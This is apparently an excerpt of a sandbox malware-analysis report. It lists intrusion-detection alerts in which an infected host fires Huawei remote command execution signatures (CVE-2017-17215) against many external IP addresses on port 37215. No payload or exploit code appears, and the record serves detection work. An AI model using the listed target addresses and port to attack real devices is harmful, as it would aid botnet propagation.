192.168.2.1394.120.208.19460170372152829579 01/01/24-12:54:27.343313	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60170	37215	192.168.2.13	94.120.208.194
192.168.2.13156.241.86.15445240372152829579 01/01/24-12:54:08.017124	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45240	37215	192.168.2.13	156.241.86.154
192.168.2.1394.123.106.1449430372152835222 01/01/24-12:55:15.479097	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49430	37215	192.168.2.13	94.123.106.14
192.168.2.1394.121.149.14546400372152835222 01/01/24-12:52:45.782939	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46400	37215	192.168.2.13	94.121.149.145
192.168.2.13160.181.183.9346656372152835222 01/01/24-12:53:13.745197	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46656	37215	192.168.2.13	160.181.183.93
192.168.2.13156.247.28.24658812372152835222 01/01/24-12:54:49.828885	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58812	37215	192.168.2.13	156.247.28.246
192.168.2.13156.241.119.747944372152835222 01/01/24-12:54:41.115680	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47944	37215	192.168.2.13	156.241.119.7
192.168.2.1392.95.231.7957890372152829579 01/01/24-12:52:45.258388	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57890	37215	192.168.2.13	92.95.231.79
192.168.2.13156.241.125.4954422372152829579 01/01/24-12:54:56.781851	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54422	37215	192.168.2.13	156.241.125.49
192.168.2.13156.241.67.1551416372152829579 01/01/24-12:53:51.494929	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51416	37215	192.168.2.13	156.241.67.15
192.168.2.13156.241.97.1634092372152829579 01/01/24-12:54:13.901820	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34092	37215	192.168.2.13	156.241.97.16
192.168.2.13156.253.41.13455482372152835222 01/01/24-12:52:28.994949	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55482	37215	192.168.2.13	156.253.41.134
192.168.2.13156.247.30.14344172372152835222 01/01/24-12:53:42.559872	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44172	37215	192.168.2.13	156.247.30.143
192.168.2.13156.241.92.8849034372152829579 01/01/24-12:53:22.862694	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49034	37215	192.168.2.13	156.241.92.88
192.168.2.13156.241.9.14238470372152835222 01/01/24-12:52:46.370179	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38470	37215	192.168.2.13	156.241.9.142
192.168.2.13156.247.23.2845730372152829579 01/01/24-12:54:56.765096	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45730	37215	192.168.2.13	156.247.23.28
192.168.2.1394.121.21.6138540372152835222 01/01/24-12:54:57.043353	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38540	37215	192.168.2.13	94.121.21.61
192.168.2.13156.241.101.658258372152835222 01/01/24-12:53:51.185772	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58258	37215	192.168.2.13	156.241.101.6
192.168.2.13156.241.67.1551416372152835222 01/01/24-12:53:51.494929	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51416	37215	192.168.2.13	156.241.67.15
192.168.2.13156.254.74.16148284372152829579 01/01/24-12:52:33.774769	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48284	37215	192.168.2.13	156.254.74.161
192.168.2.13156.254.86.12249352372152835222 01/01/24-12:54:56.778901	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49352	37215	192.168.2.13	156.254.86.122
192.168.2.1394.121.21.6138540372152829579 01/01/24-12:54:57.043353	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38540	37215	192.168.2.13	94.121.21.61
192.168.2.1392.95.231.7957890372152835222 01/01/24-12:52:45.258388	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57890	37215	192.168.2.13	92.95.231.79
192.168.2.13156.254.67.11236964372152829579 01/01/24-12:52:21.418780	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36964	37215	192.168.2.13	156.254.67.112
192.168.2.13156.254.107.3850918372152829579 01/01/24-12:55:08.201166	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50918	37215	192.168.2.13	156.254.107.38
192.168.2.13156.241.120.14052438372152835222 01/01/24-12:52:21.710115	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52438	37215	192.168.2.13	156.241.120.140
192.168.2.13160.181.168.10648006372152835222 01/01/24-12:55:04.583358	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48006	37215	192.168.2.13	160.181.168.106
192.168.2.13156.241.9.14238470372152829579 01/01/24-12:52:46.370179	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38470	37215	192.168.2.13	156.241.9.142
192.168.2.13156.254.66.25533620372152829579 01/01/24-12:54:40.810216	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33620	37215	192.168.2.13	156.254.66.255
192.168.2.13156.247.23.2845730372152835222 01/01/24-12:54:56.765096	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45730	37215	192.168.2.13	156.247.23.28
192.168.2.13160.181.183.9346656372152829579 01/01/24-12:53:13.745197	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46656	37215	192.168.2.13	160.181.183.93
192.168.2.13156.254.86.12249352372152829579 01/01/24-12:54:56.778901	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49352	37215	192.168.2.13	156.254.86.122
192.168.2.13156.254.85.23959312372152835222 01/01/24-12:55:04.208724	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59312	37215	192.168.2.13	156.254.85.239
192.168.2.1395.86.117.1940884372152835222 01/01/24-12:53:04.866770	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40884	37215	192.168.2.13	95.86.117.19
192.168.2.13156.241.14.21240844372152835222 01/01/24-12:53:16.369690	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40844	37215	192.168.2.13	156.241.14.212
192.168.2.13156.247.18.16952830372152829579 01/01/24-12:54:25.048931	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52830	37215	192.168.2.13	156.247.18.169
192.168.2.13156.253.42.9441588372152829579 01/01/24-12:53:09.798869	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41588	37215	192.168.2.13	156.253.42.94
192.168.2.1394.120.161.3657624372152829579 01/01/24-12:53:25.184343	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57624	37215	192.168.2.13	94.120.161.36
192.168.2.13156.241.86.4935268372152835222 01/01/24-12:52:55.971371	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35268	37215	192.168.2.13	156.241.86.49
192.168.2.13156.247.18.16952830372152835222 01/01/24-12:54:25.048931	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52830	37215	192.168.2.13	156.247.18.169
192.168.2.13122.228.242.2940964372152829579 01/01/24-12:53:31.489170	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40964	37215	192.168.2.13	122.228.242.29
192.168.2.13154.194.133.6747146372152835222 01/01/24-12:52:22.737654	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47146	37215	192.168.2.13	154.194.133.67
192.168.2.13156.224.10.23846496372152835222 01/01/24-12:54:43.304834	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46496	37215	192.168.2.13	156.224.10.238
192.168.2.13156.253.42.9441588372152835222 01/01/24-12:53:09.798869	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41588	37215	192.168.2.13	156.253.42.94
192.168.2.13156.241.86.4935268372152829579 01/01/24-12:52:55.971371	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35268	37215	192.168.2.13	156.241.86.49
192.168.2.13160.181.168.10648006372152829579 01/01/24-12:55:04.583358	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48006	37215	192.168.2.13	160.181.168.106
192.168.2.13156.254.81.1040782372152829579 01/01/24-12:53:21.832908	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40782	37215	192.168.2.13	156.254.81.10
192.168.2.13156.253.32.9139366372152829579 01/01/24-12:54:22.408029	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39366	37215	192.168.2.13	156.253.32.91
192.168.2.1394.120.161.3657624372152835222 01/01/24-12:53:25.184343	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57624	37215	192.168.2.13	94.120.161.36
192.168.2.1341.47.106.23152674372152829579 01/01/24-12:53:54.148061	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52674	37215	192.168.2.13	41.47.106.231
192.168.2.13122.228.242.2940964372152835222 01/01/24-12:53:31.489170	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40964	37215	192.168.2.13	122.228.242.29
192.168.2.13156.254.108.1939188372152835222 01/01/24-12:53:37.908340	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39188	37215	192.168.2.13	156.254.108.19
192.168.2.1394.120.244.19755182372152835222 01/01/24-12:55:15.190512	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55182	37215	192.168.2.13	94.120.244.197
192.168.2.13156.241.91.19248402372152829579 01/01/24-12:52:53.339735	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48402	37215	192.168.2.13	156.241.91.192
192.168.2.13154.194.133.6747146372152829579 01/01/24-12:52:22.737654	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47146	37215	192.168.2.13	154.194.133.67
192.168.2.1341.47.106.23152674372152835222 01/01/24-12:53:54.148061	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52674	37215	192.168.2.13	41.47.106.231
192.168.2.13156.241.92.8849034372152835222 01/01/24-12:53:22.862694	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49034	37215	192.168.2.13	156.241.92.88
192.168.2.13156.254.67.18037036372152835222 01/01/24-12:55:15.780393	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37036	37215	192.168.2.13	156.254.67.180
192.168.2.1395.86.117.1940884372152829579 01/01/24-12:53:04.866770	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40884	37215	192.168.2.13	95.86.117.19
192.168.2.13156.241.14.21240844372152829579 01/01/24-12:53:16.369690	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40844	37215	192.168.2.13	156.241.14.212
192.168.2.1394.120.147.14459994372152829579 01/01/24-12:52:21.987732	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59994	37215	192.168.2.13	94.120.147.144
192.168.2.13156.241.10.10452170372152829579 01/01/24-12:53:42.559944	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52170	37215	192.168.2.13	156.241.10.104
192.168.2.13156.247.29.10456828372152829579 01/01/24-12:54:30.972435	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56828	37215	192.168.2.13	156.247.29.104
192.168.2.13156.254.111.16756186372152835222 01/01/24-12:53:35.339536	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56186	37215	192.168.2.13	156.254.111.167
192.168.2.13156.247.29.14646856372152835222 01/01/24-12:54:24.746893	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46856	37215	192.168.2.13	156.247.29.146
192.168.2.13154.201.25.25560540372152835222 01/01/24-12:52:21.418776	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60540	37215	192.168.2.13	154.201.25.255
192.168.2.13156.254.95.19538940372152829579 01/01/24-12:52:20.403824	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38940	37215	192.168.2.13	156.254.95.195
192.168.2.13156.247.29.10456828372152835222 01/01/24-12:54:30.972435	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56828	37215	192.168.2.13	156.247.29.104
192.168.2.13156.254.89.19738754372152835222 01/01/24-12:52:26.390386	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38754	37215	192.168.2.13	156.254.89.197
192.168.2.13154.194.177.21049916372152829579 01/01/24-12:52:55.666045	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49916	37215	192.168.2.13	154.194.177.210
192.168.2.13156.241.125.4954422372152835222 01/01/24-12:54:56.781851	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54422	37215	192.168.2.13	156.241.125.49
192.168.2.13154.194.158.23637086372152835222 01/01/24-12:52:22.737615	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37086	37215	192.168.2.13	154.194.158.236
192.168.2.13156.254.105.15453418372152829579 01/01/24-12:55:03.600018	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53418	37215	192.168.2.13	156.254.105.154
192.168.2.13154.201.25.25560540372152829579 01/01/24-12:52:21.418776	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60540	37215	192.168.2.13	154.201.25.255
192.168.2.13156.224.10.23846496372152829579 01/01/24-12:54:43.304834	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46496	37215	192.168.2.13	156.224.10.238
192.168.2.13156.224.9.19249256372152829579 01/01/24-12:54:59.642313	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49256	37215	192.168.2.13	156.224.9.192
192.168.2.13156.241.97.1634092372152835222 01/01/24-12:54:13.901820	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34092	37215	192.168.2.13	156.241.97.16
192.168.2.13156.77.135.3733324372152835222 01/01/24-12:54:27.187725	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33324	37215	192.168.2.13	156.77.135.37
192.168.2.13156.254.105.15453418372152835222 01/01/24-12:55:03.600018	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53418	37215	192.168.2.13	156.254.105.154
192.168.2.13156.254.67.18037036372152829579 01/01/24-12:55:15.780393	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37036	37215	192.168.2.13	156.254.67.180
192.168.2.13156.254.81.1040782372152835222 01/01/24-12:53:21.832908	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40782	37215	192.168.2.13	156.254.81.10
192.168.2.13154.194.158.23637086372152829579 01/01/24-12:52:22.737615	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37086	37215	192.168.2.13	154.194.158.236
192.168.2.13154.194.177.21049916372152835222 01/01/24-12:52:55.666045	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49916	37215	192.168.2.13	154.194.177.210
192.168.2.13156.241.10.10452170372152835222 01/01/24-12:53:42.559944	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52170	37215	192.168.2.13	156.241.10.104
192.168.2.13156.241.91.19248402372152835222 01/01/24-12:52:53.339735	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48402	37215	192.168.2.13	156.241.91.192
192.168.2.13156.254.95.19538940372152835222 01/01/24-12:52:20.403824	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38940	37215	192.168.2.13	156.254.95.195
192.168.2.1394.121.183.4747418372152829579 01/01/24-12:52:28.700931	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47418	37215	192.168.2.13	94.121.183.47
192.168.2.1394.121.217.13540196372152835222 01/01/24-12:53:31.723234	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40196	37215	192.168.2.13	94.121.217.135
192.168.2.1395.86.74.13336632372152835222 01/01/24-12:53:05.160771	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36632	37215	192.168.2.13	95.86.74.133
192.168.2.13154.194.156.944364372152829579 01/01/24-12:53:37.913940	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44364	37215	192.168.2.13	154.194.156.9
192.168.2.13154.38.240.21750598372152829579 01/01/24-12:52:32.467253	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50598	37215	192.168.2.13	154.38.240.217
192.168.2.13122.114.75.21451586372152829579 01/01/24-12:54:47.147031	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51586	37215	192.168.2.13	122.114.75.214
192.168.2.13156.241.117.12742554372152829579 01/01/24-12:53:38.215786	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42554	37215	192.168.2.13	156.241.117.127
192.168.2.13156.224.9.19249256372152835222 01/01/24-12:54:59.642313	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49256	37215	192.168.2.13	156.224.9.192
192.168.2.13156.235.101.22234100372152835222 01/01/24-12:54:27.483325	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34100	37215	192.168.2.13	156.235.101.222
192.168.2.1394.122.192.4434538372152829579 01/01/24-12:54:19.806591	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34538	37215	192.168.2.13	94.122.192.44
192.168.2.13154.214.76.23833396372152829579 01/01/24-12:54:55.449045	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33396	37215	192.168.2.13	154.214.76.238
192.168.2.1394.121.100.24358266372152835222 01/01/24-12:53:16.350324	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58266	37215	192.168.2.13	94.121.100.243
192.168.2.13154.194.151.18451980372152835222 01/01/24-12:52:41.681881	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51980	37215	192.168.2.13	154.194.151.184
192.168.2.13156.241.88.12641390372152835222 01/01/24-12:52:55.666022	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41390	37215	192.168.2.13	156.241.88.126
192.168.2.1394.121.183.4747418372152835222 01/01/24-12:52:28.700931	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47418	37215	192.168.2.13	94.121.183.47
192.168.2.1394.121.217.13540196372152829579 01/01/24-12:53:31.723234	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40196	37215	192.168.2.13	94.121.217.135
192.168.2.1394.187.98.1737486372152829579 01/01/24-12:53:19.239608	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37486	37215	192.168.2.13	94.187.98.17
192.168.2.1394.120.26.9451658372152829579 01/01/24-12:55:08.178875	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51658	37215	192.168.2.13	94.120.26.94
192.168.2.1394.122.192.4434538372152835222 01/01/24-12:54:19.806591	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34538	37215	192.168.2.13	94.122.192.44
192.168.2.13156.241.88.12641390372152829579 01/01/24-12:52:55.666022	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41390	37215	192.168.2.13	156.241.88.126
192.168.2.13156.77.135.3733324372152829579 01/01/24-12:54:27.187725	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33324	37215	192.168.2.13	156.77.135.37
192.168.2.13156.241.81.17540264372152829579 01/01/24-12:53:31.429922	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40264	37215	192.168.2.13	156.241.81.175
192.168.2.13156.235.101.22234100372152829579 01/01/24-12:54:27.483325	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34100	37215	192.168.2.13	156.235.101.222
192.168.2.13156.77.139.23551108372152835222 01/01/24-12:53:01.425970	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51108	37215	192.168.2.13	156.77.139.235
192.168.2.13154.201.16.940302372152829579 01/01/24-12:52:47.682060	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40302	37215	192.168.2.13	154.201.16.9
192.168.2.13122.114.75.21451586372152835222 01/01/24-12:54:47.147031	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51586	37215	192.168.2.13	122.114.75.214
192.168.2.13156.77.138.24237286372152835222 01/01/24-12:54:24.868705	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37286	37215	192.168.2.13	156.77.138.242
192.168.2.1341.44.194.10446160372152829579 01/01/24-12:52:33.808440	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46160	37215	192.168.2.13	41.44.194.104
192.168.2.1394.120.147.14459994372152835222 01/01/24-12:52:21.987732	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59994	37215	192.168.2.13	94.120.147.144
192.168.2.13154.38.240.21750598372152835222 01/01/24-12:52:32.467253	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50598	37215	192.168.2.13	154.38.240.217
192.168.2.1394.187.98.1737486372152835222 01/01/24-12:53:19.239608	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37486	37215	192.168.2.13	94.187.98.17
192.168.2.1394.120.53.1553578372152835222 01/01/24-12:54:42.713107	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53578	37215	192.168.2.13	94.120.53.15
192.168.2.13154.194.151.18451980372152829579 01/01/24-12:52:41.681881	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51980	37215	192.168.2.13	154.194.151.184
192.168.2.13156.247.29.14646856372152829579 01/01/24-12:54:24.746893	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46856	37215	192.168.2.13	156.247.29.146
192.168.2.1341.47.126.24858920372152829579 01/01/24-12:55:08.519752	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58920	37215	192.168.2.13	41.47.126.248
192.168.2.13154.194.156.944364372152835222 01/01/24-12:53:37.913940	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44364	37215	192.168.2.13	154.194.156.9
192.168.2.1395.86.93.6537564372152835222 01/01/24-12:54:27.356896	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37564	37215	192.168.2.13	95.86.93.65
192.168.2.1394.121.223.3054080372152829579 01/01/24-12:54:08.265250	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54080	37215	192.168.2.13	94.121.223.30
192.168.2.13156.254.89.19738754372152829579 01/01/24-12:52:26.390386	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38754	37215	192.168.2.13	156.254.89.197
192.168.2.13156.254.111.16756186372152829579 01/01/24-12:53:35.339536	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56186	37215	192.168.2.13	156.254.111.167
192.168.2.1395.86.93.6537564372152829579 01/01/24-12:54:27.356896	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37564	37215	192.168.2.13	95.86.93.65
192.168.2.13156.254.109.4436226372152829579 01/01/24-12:53:10.099040	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36226	37215	192.168.2.13	156.254.109.44
192.168.2.13156.224.12.9750728372152835222 01/01/24-12:53:54.123972	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50728	37215	192.168.2.13	156.224.12.97
192.168.2.13156.224.15.17353066372152829579 01/01/24-12:54:08.013847	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53066	37215	192.168.2.13	156.224.15.173
192.168.2.13156.254.108.1939188372152829579 01/01/24-12:53:37.908340	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39188	37215	192.168.2.13	156.254.108.19
192.168.2.13156.253.32.9139366372152835222 01/01/24-12:54:22.408029	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39366	37215	192.168.2.13	156.253.32.91
192.168.2.13156.241.103.9856426372152829579 01/01/24-12:53:55.957508	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56426	37215	192.168.2.13	156.241.103.98
192.168.2.13156.224.12.9750728372152829579 01/01/24-12:53:54.123972	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50728	37215	192.168.2.13	156.224.12.97
192.168.2.1394.120.53.1553578372152829579 01/01/24-12:54:42.713107	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53578	37215	192.168.2.13	94.120.53.15
192.168.2.1395.86.74.13336632372152829579 01/01/24-12:53:05.160771	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36632	37215	192.168.2.13	95.86.74.133
192.168.2.13156.77.139.23551108372152829579 01/01/24-12:53:01.425970	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51108	37215	192.168.2.13	156.77.139.235
192.168.2.13156.224.15.17353066372152835222 01/01/24-12:54:08.013847	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53066	37215	192.168.2.13	156.224.15.173
192.168.2.1394.120.26.9451658372152835222 01/01/24-12:55:08.178875	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51658	37215	192.168.2.13	94.120.26.94
192.168.2.13156.241.117.12742554372152835222 01/01/24-12:53:38.215786	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42554	37215	192.168.2.13	156.241.117.127
192.168.2.13156.254.109.4436226372152835222 01/01/24-12:53:10.099040	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36226	37215	192.168.2.13	156.254.109.44
192.168.2.1394.120.244.19755182372152829579 01/01/24-12:55:15.190512	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55182	37215	192.168.2.13	94.120.244.197

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 1, 2024 12:51:43.974088907 CET	37751	37215	192.168.2.13	197.222.128.96
Jan 1, 2024 12:51:43.974088907 CET	37751	37215	192.168.2.13	122.187.247.33
